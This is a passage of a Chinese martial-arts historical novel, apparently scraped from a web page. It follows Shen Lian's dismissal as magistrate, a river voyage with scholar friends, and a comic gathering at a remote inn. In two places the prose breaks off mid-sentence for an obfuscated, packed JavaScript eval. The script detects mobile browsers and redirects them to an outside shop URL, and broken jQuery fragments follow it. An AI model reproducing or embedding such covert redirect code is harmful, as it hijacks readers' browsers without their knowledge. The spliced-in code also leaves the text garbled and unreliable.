这帮人劈里啪啦地走了。据说后来吕氏抱养了三房里的一个妾生的儿子来养着,不出一个月,自己却连连害喜起来。原来新婚之夜,王大毕竟还是打出了些成果,叫吕氏老树开花,生了个儿子。此后仗着一双儿子,当起一族人的大太太来了不提。王学正怕她的利害,举动都恭敬了,两房后来竟十分亲热。 等糊弄完这一摊,日头却高了,沈炼早饭也没吃,就饿着肚子在这打发一窝蜂来了又一窝蜂去,这帮人一走,又有几人扑上来,抢着说姓陈的乡绅占他们的土地,沈炼发签派人去拿那陈乡绅,却拿他不到,传回话来说:这样做事,恐怕让京里的陈大老爷知道了,各自面上都不好看。那陈大老爷原来在京里做着一个御史。沈炼见如今竟然轮到这帮人来他面前耍官威,气不打一处来,连掷了三道签子在地下,道: “好大的气派!我亲自去请。”说着竟腾地站起来,提起矫心剑就往外走,吓得周围的人赶紧左搂右抱把他拦住。姓陈的屁颠颠来了,将田土一并退还不提。 再来就是两个人互相拉扯着上来,一个人说另一个长得像河马,另一个说这一个长得像驴,两人都不服气,已经打过了好几遭。沈炼冲那被说像河马的道: “我看你像驴。” 又冲那被说像驴的道: “我看你像河马。” 最后做一总结: “都给我滚下去!” 累到大中午,却还有无穷的事情。先是到馆驿去拜望了一个路过此地的官员,整治了好丰盛的宴席,陪着吃饭,恭维话说了一箩筐,自己都觉得头皮发麻,回去漱了半天。那官员临走,还打了三百两的抽风去。下午又去看地。 本地物产丰盈,本朝平定土地,分上中下等,溧阳就临着富甲天下的南京城,赋税算是全国各县当中最重的一类了,每亩田要征米一斗六升三合。可是本地水田虽厚,却非常破碎,不成个方圆。丈量土地,收租纳税,向来是苦差事。沈炼的前任吕光洵已经开始着手整治,要想个法儿丈量水田,到了沈炼在任,将这法子更加改进,使临县纷纷效仿。眼下他走到地头看了一会儿,后来夺过那办事的乡老手里的图纸,自己刷刷地画起来。大家敬他但不怕他,都走来和他说话,又问他什么时候再讲学,他头也不抬地说: “等着罢。” 话音刚落,从地头上跑来一个半大孩子,两脚上都是泥,一边大叫道: “摘印啦!摘印啦!” 沈炼在田里洗干净了手,走去迎接上官的轿子。来的是他的顶头上司,应天知府洪楷。这姓洪的见了他,将头摇一摇,大声叹了一气。原来他在这任上,刚直不阿,秉公办事,对上官不卑不亢,虽然到不了不为五斗米折腰的境界,至少也还算保得住自家的风骨。这在今日之官场已算难得的了,可是他自以为是保住了一分风骨,看在上司的眼中,却只觉得他不是自己人。末了,三年一度的考察,竟给批了个政声不佳,罢了官去。 沈炼将印捧出来交了,进去衙门转了一圈,见没什么好收拾的,就将官帽摘下来放在桌上,提了矫心剑,骑上一个驴,回他浙江老家看父母妻儿去了。 一直在家住了两年,朝廷用人之际,将他起复为茌平县令。于是沈炼就拜别了父母、妻子、三个儿子,自己提了一个小包袱,收拾了衣物盘缠。他的老家浙江山阴,百年后称绍兴的,也是一方水乡,此时从溧阳骑去的那头老驴子已经死了,他就寻思走水路,在渡口正要寻一艘北上的船,忽见远处悠悠地来了一条画舫,船身不甚宽大,可是精雅非常。一个青年的文士,亲自撑篙,和三个船夫合力把画舫向岸边靠拢。此人是他的一位旧相识,姓徐名渭字文长。徐文长戴着一顶斗笠,将篙子撑在手底下,遥遥地呼喊道: “沈先生,何日再讲学啊?” 沈炼笑了: “早有人骂我沈炼做学问是野驴放屁,如今竟还有人专门爱听。” 说着也不用徐文长将船到岸,他自提着袍子,略跑了两步,腾身而起,几乎像只仙鹤似的,轻盈地落在甲板上,再将羽翼舒展。 沈炼上了船,落地时令甲板轻轻震动了一下,只见船舱前的幛幔间钻出一个脑袋,笑道: “我当是谁呢,原来是你这野驴。可还能鸣两声么?” 沈炼慢条斯理地道:“在场有个叫鸣野的人,好像不是我。” 原来这位江南的名士陈鹤,表字“鸣野”,就因为常常被沈炼取笑,所以他自管又取了个别号叫“九皋”。时人常说“改个号,娶个小”,大家又纷纷逼问他什么时候娶小,把他搅得毫无办法,一把拉过身边新收的小徒弟徐渭来道: “这就是我千辛万苦给本门取的小!”惹出一堂大笑。 此时从船舱内又走出来一个文士,一面整理方巾,和沈炼互相拜了,笑道: “天下除青霞而外,再无人治的了这陈九皋!” 此人浓眉大眼,一身正气,正是沈炼的同乡朱公节。虽然会试屡试不第,但靠一个举人的功名,在家乡开馆,也是个有名的朱先生,一举一动皆是有礼有节,时人号称直追朱子。 陈鹤怒道: “我用你治!你一个儿子就够治死了我!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995984|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来两人约定了作儿女亲家,朱公节的儿子今年刚满六岁,正在开蒙的时候,便叫陈鹤到家里坐馆。朱家的这小子皮成个泼猴也似,一天到晚把现在的先生、未来的老丈人折腾得痛不欲生。当下几人又是一通哄笑。 船已启程了,在水中悠悠行走。诸大绶就从船后面慢慢地踱了来,向沈先生见礼。他比徐文长小两岁,可是比他早三年拜师,陈鹤常说他真是不幸拜在“小朱子”的门下,学成个腐儒也似,说话做事都是慢吞吞的。他就慢悠悠地辩解这番性格是娘胎里带出,非是学来的。他在稽山的时候,常听人说,阳明先生在世的时候,极爱重沈纯甫沈先生,可惜他生的晚,未能亲眼见到阳明先生一面,因此爱屋及乌,将沈炼当成老师那样地敬重。沈炼见了他只说: “端甫,你胡子都这老长了!” 几个人纷纷叙过,就围坐船头,生起炉子来烹茶。徐渭向沈炼报告说,他前些日子走了些狗屎运,得了几分银两,于是和几位昔日稽山书院的朋友一商量,在金陵合资赁下了这条船,起先不知道上哪儿去,只是东游西逛,学那楚留香故事。后来一天晚上喝醉了,谈起楚留香,陈鹤和朱公节这对儿女亲家为楚留香的船究竟是条海船还是河船这点无人在意的细节问题几乎打上一架,打完以后,灵机一动,想沈炼最知道这些豪侠故事,他自己也迹近书中所说的那些侠义人物,就上山阴来寻他,想不到在渡口就碰上了。眼下还不知道再上哪儿去。沈炼先说楚留香的船必定是条海船,又说: “那么送我到茌平吧。我闲了两年,如今上任去。” 徐文长道: “这好办,咱们走汴河,要是顺风,大概两个月上下就能到了。” 沈炼笑道: “真是个呆子,哪能三千里处处顺风。” 几人各自掏兜,都是些散碎银子,徐渭不到半个月前还是一位五百两身家的富翁,买了这条船,此刻已是一贫如洗,把自己的一副银三件扇坠儿都饶上了。五个人共聚了八两多。沈炼道: “只够过去,却不知够不够打发你们回来。也罢,少不得你们这几张嘴同我一道上任去。” 大家哄笑,都说要好好打新县令的抽风。 就烹茶。陈鹤贡献出他的好茶,诸大绶生火,朱公节持壶,沈炼打开行李,取了家里娘子给晾的梅干杏干,四处找不到合用的盘子,将徐渭的一把素面折扇拿来使用,说他既已充公了扇坠,再充公扇子本身何妨。徐渭气轰轰地走开,到船尾搬来一个缸子,敲着缸沿儿,得意道: “你道这是什么!这是今年玄武湖下的一场新雨,今天就吃了它。” 破开封泥,里头却只有半缸,他还要狡辩道: “有半缸给你们吃,强如一整缸的。那半缸我倒分给庄征君了。” 庄绍光征君者,是金陵的一位名士,大家都道他做的是。茶得了,洒一杯祭了先师王阳明,几人才吃起来。这时候已是月上中天,船头也点起了一盏灯,这一带是南直隶最繁华处,往来画舫穿梭,游船如织,张灯结彩,香云扰乱,怎一个富丽了得;沈炼想到自己要去的是北方十分遥远的地方,远离一切亲友,不免寂寞。他躺倒在甲板上,枕着自己的胳膊,两眼望住黑漆漆的天。因为水中太亮了,天上的星光就看不太清。几人絮絮地谈天,又谈学问,陈鹤用脚踹了他两下,道: “驴子,你鸣一鸣吧。” 沈炼叫陈鹤给蹬起来,却良久不曾发话,只是默默地靠着船舷,用破开的水缸的封泥打水漂儿,如此辉煌的河流,细听却寂寞极了,水漂的声音,远远地一下两下三下。一下两下三下。远处是秦淮河岸那憧憧的灯火,越发显得夜晚的水面黑沉。黑如一晌,沉如一梦。后来把泥块都抛完了,他又开始发呆。大家几乎以为他是睡着了,他才忽然道: “老师去后,许多话,再也懒得说了。” 陈鹤道: “啧啧,瞧他这样儿!文长,我要是死了,你可要大说特说,不然我收你这徒弟做什么?难道我有病,专门要你这药引子来气我!” 朱公节也道: “九皋这话很是。纯甫,当日老师最喜欢的一个就是你。你也果然是我们当中最有出息的一个,竟中了。老师又不曾叫我们去做和尚,人生天地之间,当立志作一番事业才是。像你做一任的县令,就是当一方的父母,务必尽心尽力为要。” 沈炼道: “当年我去应考时,正逢着书院被毁,怪道我写着卷子,在‘天下有道’那一句时,竟忽然觉得心中发慌……稽山书院毁了,老师的一生心血毁于一旦,我却高高兴兴走马上任去了。” 陈鹤一骨碌爬起来。 “说真的,你在京中,见着严嵩了么?” “见着了,只当时不知道出了事。”沈炼冷笑一声,一把握住手边的矫心剑,“否则我还不要他好看!” 原来嘉靖十七年时,严嵩揣摩上意,做了一件大事,便是在全国各地拆毁各处私立的书院。本朝以八股取士,圣人的道理,渐渐地不行了,读书人只白白戴了块方巾,穿了直裰,踏着皂靴,好不整齐漂亮;他却不知道圣人的教训,只知在考场上钻营,要向他说时,他还不耐烦起来:念了圣人书,圣人给我官做吗? 是以许多尚知读书人风骨的,就办了私学授课,讲四书五经,也讲百家争鸣。除此之外,因官办的学堂门槛儿太高,不是人人够得上的,常常是乡里凑钱在祠堂或土地庙之类的地方,请一个先生来坐馆,这也是一种私学。为着钳制言路,严嵩替皇帝将这些书院一概捣毁,至今令天下读书人含恨。沈炼于嘉靖十七年走马上任,安顿下来以后才恢复和朋友们的通信,谁知道出了这样的事。 “唉,纯甫,不是这样说。”朱公节道,“老师传的那套剑法,原是没藏私,连我都耍过两下。只是旁人都不能成,独你成了,竟然咱们王门里有了一个豪侠。当年一起游学在外,免不了走夜路、过山门,路上不太平,独你一个就打退了多少贼寇!可你也要记着老师的话,他传你武艺,只是要书生有几分能为护卫自己,却不是为了好勇斗狠的。你杀了一个严嵩,还有郭嵩、李嵩、张嵩、马嵩、陈嵩……” 说着悄悄拿手指着陈鹤,陈鹤一把将他拍开道: “行了行了,念开百家姓了。”众人又笑了。笑过以后就不再说话。当下是夜色沉沉,江水悠悠,流向北方。 几人在这船上畅谈经文义理,重读阳明先生的诗文著作,也赏赏月,写写诗。数得文长和沈炼两人能做诗,两个月下来,船果然行到山东,他们也积下许多诗稿,文长说他要把去卖。众人都笑,他说: “我是寻思,咱们没了一个书院,却多了一条船,不如就以这船做书院罢!” 陈鹤笑道: “很是。往下先把吕光升绑了来,游一路,讲一路的学问,岂不快活!本是嫌此生长得难以打发,这件事情倒还可以做做,想是能消磨个一年半载的。” 众人击节赞叹,以为这法子好。几人便下船去同沈炼吃了一顿酒,与他践行,此后洒泪而别。后来,那几人纷纷地召集了稽山的旧友,将这“鉴湖画舫”办成了一座严嵩找不着、毁不掉的流动书院。阳明先生遗下的这些徒子徒孙,就是鉴湖画舫的十位先生:徐渭、沈炼、萧勉、陈鹤、杨珂、朱公节、钱楩、柳文、诸大绶、吕光升。后世人称“越中十子”是也。 9. 神仙方 在路上时即听人说过,今年山东府到北直隶一带,雨水甚大。可想不到北方的雨下起来真如天河倒悬,随身带的那顶斗笠简直是毫无用场。雨水把每一时每一刻都填得满满当当,而不下雨的时候所有人也都在谈论着雨、雨、雨。这雨使行人连呼吸都成了一件难事。噼啪砸落在脸上身上的雨水,剑也挥不开。沈炼终于知道,在北地,人和雨水的关系与他老家截然不同。县令的工作有关耕稼纺绩、家长里短,一年的雨水、阳光、收成,邻里的关系,春夏秋冬,四时节气,全都细致而繁琐,而背井离乡又必将给他的工作增添新的困难。 山东府的方言也很难听懂。在故乡时,他喜欢独个儿到小店里坐坐,听众人的谈话,大部分时候都只是些无聊事,就是这种无所事事的感觉令人心松弛,感到自己毕竟生活在一个太平的世道里,而身为县官的自己,也仍有力量和义务去庇护本地一方的太平。但是由于语言和风俗的障碍,这种乐趣消失了。 与伙伴们分别之后,一连数日,他只是闷头赶路,越靠近茌平城,那一段路愈发难走,有大半天都在群山中跋涉,到处泥泞不堪。如今终于出了狭窄的,两山合拢处的隘口,看看天色,知道自己耽搁了时间,此刻城门想必已关了,但也无法可想,退回山中去当然是不可能的,唯有继续赶路。幸喜再走上盏茶功夫,竟叫他见着了一家客栈。沈炼来时问明了江湖的切口,知道出了隘口至进城之前都别想有能歇脚的地方,此刻不免大喜过望,紧赶上前。 隔着纷纷的雨幕,只见是两间仿佛随时都要坍塌的木屋,边上有一低矮草棚,半边早已塌落,是个简陋的马棚。沈炼不管不顾地推门进去,现在他饥寒交迫,方才在山中挥剑的血气早已被大雨冲走,急需一杯热酒,一团炉火。但是刚一进去,他就后悔了。 时值傍晚,大雨当中,天地都是黄糊糊的一片。客栈之中至为阴暗,沈炼把破木板门用力推开,终于给屋中增添了几分光线,而大风大雨也一起扑了进来,一时之间竟灌满了沈炼吸水沉重的衣袖。 屋中的陈设也简单,在黄泥抹的地下,摆着三四套破烂桌椅。桌上空荡荡的,其中一桌上丢着块烂抹布;两扇窗户,因为风雨的缘故,都上着板,因此这屋里才会像见了鬼一样地黑。靠墙角摆有柜台,木制台面自然也是虫吃老鼠咬,有什么东西在那柜台后面一动,定睛一看发现是人。此人秀才打扮,穿着一身粗布的直裰,由于光线昏暗,加上衣裳本身也极腌臜,已看不出颜色。秀才手中抓着卷书,同时捋着自己的一把灰白山羊胡,正翻着白眼念念有词。 沈炼对这副样子已经再熟悉不过,为求功名念书念到发疯,是本朝读书人的共同命运,有幸而中的,当然也有没中的。但这显然不是一个饥寒交迫的旅人打开门希望看到的景象。外头这么大的风雨,老秀才连盏灯都没点,瞪着眼睛看向沈炼时,仍用功不辍,对着他拖起长腔来念道: 风雨如晦,鸡鸣不已……既见君子,云胡不喜…… 沈炼走近两步,躬身拜道: “老丈,风寒雨暴,城门尚远,敢请借宿一宵。” 外头的雨幕中不时劈出亮堂堂的一道光线,这老秀才的脸极瘦削,蜡黄色,显得眼睛极大,望着来人,像在对不速之客作无声的责备。后来两片风干的嘴唇露出冷笑: “请便。” 老秀才说完就又埋头攻书去了。沈炼就当他默认。昔年他和老师阳明公一道游学,比这还离奇的景象也不是没见过。 他不欲理会这奇怪的老头,自顾自地走来走去地收拾,把门关上,选了一张看起来没那么脏的桌子,又把外衣脱下来哗啦啦地拧下一地的水来,这时候才发现衣襟上竟沾了一片血渍,早已被大雨褪成淡红。怪道那老秀才起初仿佛很想赶他出去,后来却又改了主意。他的眼力竟有这样高,在昏暗的茅店当中,也瞧得出沈炼亦是江湖中人。 桌上几乎没有油污,堆积的只是厚厚的灰尘,看上去像许久没有客人了。此地怎么说也是在群山之外,通往茌平县城的唯一道路上,平日里少不了车马往来,能把生意做成这个样子,大概真是一家黑店。江湖上所谓黑店者,倒不一定就下手残害客人,那样违法乱纪的事做得多了,一定遭官府取缔,不能长保。一般来说只是多了一种为道上人歇脚的特别功能罢了,招待一般顾客,倒成了次要,常有为了方便就对正经客人恕不接待的。因此行脚的正经商人们若到了无可奈何的地步,必须要在一黑店里歇宿,则当知道该两耳不闻窗外事,蒙头睡他的大觉也。 对江湖人,则又不一样了。店家即使是为了自己那不好说出口的生意的方便,也不该把一个江湖人赶出门去,那是违反江湖规矩的。当然,按着同样的一套江湖规矩,无论在这店中见到了什么,沈炼也不能管。 “江湖规矩”十分庞杂,三言两语说不清楚。除盗贼、娼寮、镖行、杂耍、药店,一行有一行的细节之外,更有江湖人皆应遵守的大规章。这种规章,不仅有路见不平拔刀相助这样少年意气之语,更有井水不犯河水的规则,江湖人在外,互相行方便,住了人家的店子,不应再打扰人家的生意,不然砸了人家的饭碗,人家也会纷纷地来砸他的饭碗,就是常言所道江湖共逐之。 沈炼虽然是所谓黑白两道通吃者,就是不讲江湖规矩,对生活也没什么损害,但他做了多年的县官,对于人情世故极为了解,平日里还是尽量地去遵守。眼下虽然瞧出端倪,仍是沉吟不表,只自行翻箱倒柜,但客栈当中有些什么东西那是一目了然。没有柴火,也没有吃喝,茶壶底沉着一撮干了的茶叶梗子,唯一可以使唤的人,就是店主,则拉长着一张驴脸。那老秀才的身后,柜台后面本应摆着酒坛的地方也是空荡荡的。末了,沈炼也只好坐下来,从湿透的包袱里摸出一块地瓜干,叹了口气。 可也就在此时,听得屋外一阵马蹄得得。沈炼手里仍拿着那块地瓜干,好像研究得很用心,却是侧耳细听,只觉蹄声常被大雨冲散,不知是过路人,还是同样奔着小店来的。按理说,城门已闭,除非是去投那山中的贼窟,否则方圆百里之内,再找不到第二个落脚点了。 沈炼是习武之人,耳力非凡,那老秀才却也忽然从柜台后头钻了出来。 老人径自走到窗前,掀开木板,任由风雨吹打他的胡须和面颊,一忽儿就把胸前的衣裳都淋了个透湿,他却好似浑然不觉,只眯着眼睛望住外面,仰着头,像在看天。在这样一个荒凉的小店中,外面的雨水这样大,老人的衣摆湿透,胡子和头发,都这样萧疏……这般出了一会子神,沈炼倒觉得老人可做一个谈天的对象了。而外面的蹄声来回奔走,不知在大雨中徘徊甚么;却另有一轻捷脚步,直蹿上房顶,不知是瘦小的女人还是孩子。马上他就知道了——头顶砰的一声,一个黑影重重地掉了下来,险不曾将黄泥的地面砸出个坑来。那东西自己倒不觉得有什么,可能是年轻身体好,虽然轻功不济,胜在经摔。这是个小孩儿,十三四上下,浑身也是透湿,脸上本来很脏,现在被雨冲得一道一道的,从地上跳起来,自己蹦了两下。见了沈炼,先是咦了一声,绕着他转了一圈,奇道: “老秀才这黑店,有客人了么?” 沈炼笑道: “小兄弟,你说这是黑店吗?” 那孩子道: “是啦,我从来也没见过这破店开张过,今儿真是奇了。” 老秀才瞪了他一眼,“还不是因为你这臭小子嚷嚷着什么黑店、黑店,我的生意全给你搅黄了。” 小孩儿一点也不怕他,依旧冲沈炼道: “这位大哥,你还不快跑吗?你瞧老秀才一副要吃人的样儿,说不定他在你的饭菜里下蒙汗药,要把你当羊宰了做成肉包子吃。” “这个不打紧,只是做得了肉包子,也分我两个才好。” 那孩子笑嘻嘻地道: “有包子吃,性命也不要吗?” “走了这几里地才寻着一个落脚处,可又是寒锅冷灶,当真难熬。” 他见小孩儿心思单纯,有心逗着再说两句,便道: “小兄弟,你的轻功不错!” 那孩子咦了一声: “你是穿直裰的人,还知道轻功啊。” 沈炼微笑不答,小孩倒忽然注意着了他放在桌上的包袱,矫心剑被布条层层缠裹,但依然能辨认得出长剑的形状。当场他便拿在手中把玩,解开布条验看,又拔剑出鞘,剑光银亮无比,引得他赞叹有声,忍不住又跳下地来,舞弄一番。沈炼看出他剑上并无什么章法,只是随便乱挥罢了。他从孩子身上挪开眼睛,却见那老秀才也盯住长剑,两人目光相会,对方扬起他蓄有稀疏的山羊胡子的下巴,道: “贵客,我们这小店果然盛你不下,阁下还是请吧。我还要奉劝阁下,赶快回家,好好下下工夫。十年之内,莫要再想走什么江湖了。” 沈炼丝毫不以为忤,还是那么慢悠悠的: “今日会着了你小兄弟这样的朋友,心中甚是痛快!若有口酒喝就好了。” 小孩果然上钩,道:“有酒哇!怎么没有?”说着,将长剑往沈炼怀里一抛,不等老秀才阻止,他自己先炮弹一样地冲上楼去,一会儿又在栏杆上冒出头来,道: “接着!” 他竟将一只数十斤的大酒坛就这么给扔了下来。沈炼方归剑入鞘,此时身不动,忽然抓起桌上的两个粗陶碗,托在掌上。那酒缸要是掉下来,可是要砸在他头上的,小孩趴在栏杆上,见他竟不去接,有些呆了:他还没杀过人呢,要是自己第一次杀人就是把刚认识的朋友给砸死,怎生了得?可就在这千钧一发之际,忽然自窗外飞来两只钢镖,当当两声,将瓷缸给打破两孔,破孔处酒浆飞流,浇满了陶碗。沈炼一手捏住两个碗,一手托住酒缸,一滴不撒。窗外便传来一声响亮的叫好。 紧接着,一个身量长长,满脸麻子的少年,便从窗户里跳了进来。沈炼笑道: “惭愧。” 便将酒缸朝少年抛去。对方伸手接住,看了他一眼——这陌生人竟从雨声的纷扰之中,尚能听出自己的来路,并且是丝毫不乱,知道自己只是要和他们玩笑。如此定力实在了得。他一言不发,从破口处痛饮起来。小孩哧溜溜地从二楼栏杆上滑下来,一边滑一边叫道: “麻子真不要脸,给我留点!”说着就扑过来抢。两人跳来跳去地争那缸酒,不意小孩把少年给绊了一跤,酒缸脱手而出,直朝门口飞去。那扇薄门板,正被人由外推开,一个戴布巾的文生公子,一瞬间仿佛直愣愣的瞧着飞过来的物事。当然,不会武的人,见着了这副奇景要发愣,也是理所应当。然而就在酒缸就要打上那公子胸膛的瞬间,他倒以手中的折扇轻轻一拨,那酒缸便飞过他肩头去了。 文士这才缓步走进屋中来,同时刷地一下甩开折扇,不知在想什么,欲言又止。麻子从地上爬起来,见他这样,又啪地躺回地上,两手捂住耳朵,且背转过身不听他的。那文生的身后陡然伸出一只手,推着他走进屋来。那是个铁塔般的大汉,穿一身劲装,酒缸托在他掌上,如茶壶一般的小巧,且笑道: “贵店真是好客,出门在外,这样大的雨,就是想着一口酒哇。” 可是那文生站在门口,捋着掌中折扇不动了。 大汉见了这他一副愣样儿,不免奇道: “您怎么啦?” 文生道: “别吵,我有诗了。” 大汉笑道: “原来金公子是个雅人。可否念来听听?” 小孩大叫一声,原地跳了起来。老秀才见这些人再三再四地闯进来,原是有些愕然的样子,此刻直是摇头叹气。少年把自己蜷成一个球。只有沈炼和那大汉两人浑然不觉,不知几句诗能有什么利害之处。大汉走到沈炼的这桌前,在长板凳上和他并肩坐下,自己饮过两口,又替他将碗斟满。此时便听得那文士曼声吟道: 天上倒下黄河水, 疑是老天要撒尿(sui)。 烈日炎炎虚火旺, 二两黄连加砒霜。 沈炼咕嘟一声,艰难地把酒咽了下去。毕竟他做了多年的官,比这还可怕的场面见得多了。那大汉就没他这么强的定力,一口喷了出来,边咳嗽边鼓掌道: “好。好。好方。” 文士遂将纸扇一合,在手中拍打,露出创作者幸福的微笑,正如作者此时的笑容一般。就缓步走来要酒喝。沈炼恭敬地替他斟上一碗。老秀才长叹一声: “天生此金凤白!诗道万古如长夜。” 文士因那大汉方才赞了他一声,沈炼也敬给他酒,便得意道: “铁兄谬赞了。而这位兄弟也是识货之人。” 沈炼微笑道: “不敢。” “怎说不敢?我金某人交朋友一向是真心真意,想不到这发大水的年节里一路上还能捡着两位朋友。说着还未请教这位朋友姓名?” 沈炼余光瞥见桌上的矫心剑,想到那赠剑给他的杭州道人来霞士,便道: “某是个道士。俗家姓来。” 小孩插嘴道: “哪有这么怪的姓啊?” 沈炼道: “岂不闻老莱子彩衣娱亲,就是我等祖宗了。” “彩衣娱亲的故事我知道,顶没意思的。那你却又出家?” “当道士却和当和尚不一样,道士是可以明着吃喝嫖赌样样俱全的,当然也耽误不了传宗接代。” 文士插嘴道: “老幺,你不懂,南方人就这样。来兄,在下金凤白。南阳一帖堂的膏药知道不?我有个好对,说——” 沈炼连声道:“原来是金兄!久仰久仰,小弟先干为敬。”大碗摆上,才把他的话头堵回去。两人对饮一盏。凤白喝起酒来倒一点斯文都无,站着把酒往喉咙里一倒,咕咚咽了,才咂嘴回味。半晌道: “老秀才的酒藏得太久,几乎酸了。幸亏兄弟们今日在此,快帮忙喝了它。” 老秀才连连地摆手道:“不必劳烦了。”但是他这样哪里拦得住这起子人,那小孩儿带头就往楼上蹿,凤白把长衫下摆揽在手上,也紧追其后。只有那麻子少年,方才一直捂住耳朵,十分无助地把自个儿卷在地上,如今众人俱上楼去了,老秀才踹了他一脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995985|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他方爬起来,坐在地上,茫然道: “念完了?” 此时小孩和凤白又都蹭蹭蹭地跑下来,两人是绝不肯好端端地走那吱呀作响的楼梯的,一个沿着栏杆往下溜,一个是撩起衣摆,施展轻功,便就跳落地来。沈炼观那文士使的倒是一种北少林的气功,吁气吐纳,缓缓落地,比那小孩咕咚一声把自己砸下来那是大有不同。忽然一瞥,见那大汉也是望着两人,眼中精光闪烁,便知他也是个晓事之人。沈炼替他斟满空酒碗。 “方才那位好诗的兄台,说得倒是不差。出门在外,多交朋友。这位兄台怎么称呼?” 大汉道: “来兄不须客气,我姓铁。” “铁兄何处高就?” “趁年轻游历大好山川罢了,谈不上有什么事业。” 沈炼深深地望了这大汉一眼,见他虽然风尘仆仆,但观之十分的精明强干,绝不似个心灰意冷、寄情山水的酸腐文人,怕他所说也不过托辞罢了。而对方也未尝就看不穿他方才的那番戏言。两人都不追问。沈炼道:“铁兄看过泰山没有?某是杭州人,久慕中岳之名,特为到此。” “惭愧,近来天候不利行人,简直什么事也做不成。不过他日若能与来兄同游泰山,铁某荣幸之至。” 两人在此你一言我一语地客套之时,上面兴兴轰轰地搬下东西来了,几个人对老秀才知根知底,知道他把好酒好菜都收在什么地方。眼下一阵搜刮,厨房里也生起火来,炖开老秀才的腊肉、风干的油鸡和种种干菜。几个人都起来动手,不一会儿就摆得饭菜上桌。这里无人会正经烧饭,只是把东西都丢进锅里拉倒,但因为都是些滋味自然丰美的家常食材,一会儿便香气扑鼻,两坛酒也热得了,一桌人热热闹闹地在桌边坐下。说来好笑,大伙儿至今连姓名也不曾正经通得。沈炼本来一心地想知道这黑店开在此处是否有什么目的,与几里地开外,山中的强盗又是否有什么牵扯,但此时竟也是坐在这里和众人吃酒,举杯挨个儿地敬过去。因看那小孩儿不错,就特为问他姓名。这孩子把住酒碗,豪气干云地道: “老金这臭诗篓子说得不错,你果然是识货之人。告诉你罢,小爷行不更名、坐不改姓,东昌西门烈是也!” 沈炼道: “原来是西门小兄弟,今日有幸识得。” 小孩咣当拍了一下桌子,力道不大,把手震麻了。道: “来大哥,你是个好的!我平生最恨一种人,见我年纪小,便瞧我不起。难道小孩还没有长大的时候么?你瞧我十年前,也是不存在世上,现在世上就已然有了一个我了。可见十年便有风水一流转,谁能说清?” 那麻子少年手下快,从西门烈筷子底下抢了块肥肉去,在嘴里嚼着,道: “啧,啧,他又有了大哥了。” 这少年十四五岁,正是少年抽条的时候,说话声音粗嘎难听,笑起来嗤嗤的直把肩膀耸起来,也不好看,但是自带着一股热络劲儿。西门烈叫道: “哎,这不一样!来大哥瞧得起我,我自然把他当作当世的英雄来敬。再说,翁大哥是翁大哥,来大哥是来大哥,分得明明很清嘛。那梁山好汉一百零八将,也没见乱了座次。” “老幺,不是我说你,少听那些说书的。” “你自己还不是爱听!” “那不一样,我是大人,你小孩儿。” 两人张牙舞爪地闹起来。凤白道: “麻老弟说的一点不假,你是该少往说书的棚子里去,叫人家拎着后脖子扔出来事小,丢了翁大哥的人事大呀。” 麻子道:“你呢,老金!倒该多去那地方。” 凤白诧异道: “这怎说?”举着筷子自己想了想,这时候大家就疯狂地往自己碗里扒肉。凤白道:“有道理。我也是大人。再者说,那茶棚子里三两个铜子儿的耗费,于我倒不为过,且比吃喝嫖赌这些旁的消遣都强。公孙老弟,你劝我这些话很是,凤白记下了。” 把一桌人几乎笑死过去。西门烈半晌才道: “老金,他不是这个意思。他是说,你——” 麻子抢着道: “我说,你作诗的水平若有《说岳》一般,也不失为神功大成了。” 凤白饭也不吃了,叼着筷子琢磨。老秀才大声叹气,往他碗里扣了一大勺,道: “吃饭罢!吃了饭长膀子力气比别的都强。” 凤白道: “老秀才此言差矣,岂不闻,‘诗是吾家事’……”把个老秀才念叨得毫无办法,求饶似地连连拱手。沈炼举起酒碗笑道: “原来几位都是结义的兄弟,这顿饭庶几为家宴了。某无状,叨扰筵席,自罚一碗。” 他的话音还未落,西门烈就嚷嚷道:“谁要跟这家伙结拜!” 麻子故意引着他道: “老幺,你自管闹你的脾气,做哥哥的总能容你罢了。”西门烈越发的不依。原来这几人本来都早有结拜之心,奈何西门烈总不肯当老幺,事情便一再地耽搁。这麻子少年,因而十分愿意拿此话来逗引他。久而久之,虽然几人彼此之间仍未序出年齿,一个大哥姓翁;一个老幺西门烈,这倒是十分确定的。当下老秀才便不管孩子们如何闹腾,冲沈炼举起酒碗来道: “既然老幺敬你,那我也敬你。易明湖不过是乡野里粗鄙不堪的人,方才糊涂失礼,先生莫要介怀。”沈炼连道哪里哪里。凤白道:“今日可巧,大哥和边老六虽然不在,可是又得了来、铁二位兄弟,也是凑齐了人数了。就当给老秀才温锅。” “温锅?”沈炼怔道,“我看这店子约莫是开了不少时候了。” “来兄有所不知。咱们这位老秀才,原是本乡一个金门先生,在光岳楼下撂地看相的。”麻子道,“而今洗手不干了,原先的家伙什还在呢。喏。” 原来在店中极阴暗的结蛛网的角落里,隐约放着一根竹竿,上挑着个布幌子,写着什么字样,可就实在看不清了。沈炼道: “老先生春秋已高,有个生意打理,倒比撂地的强。” 凤白道: 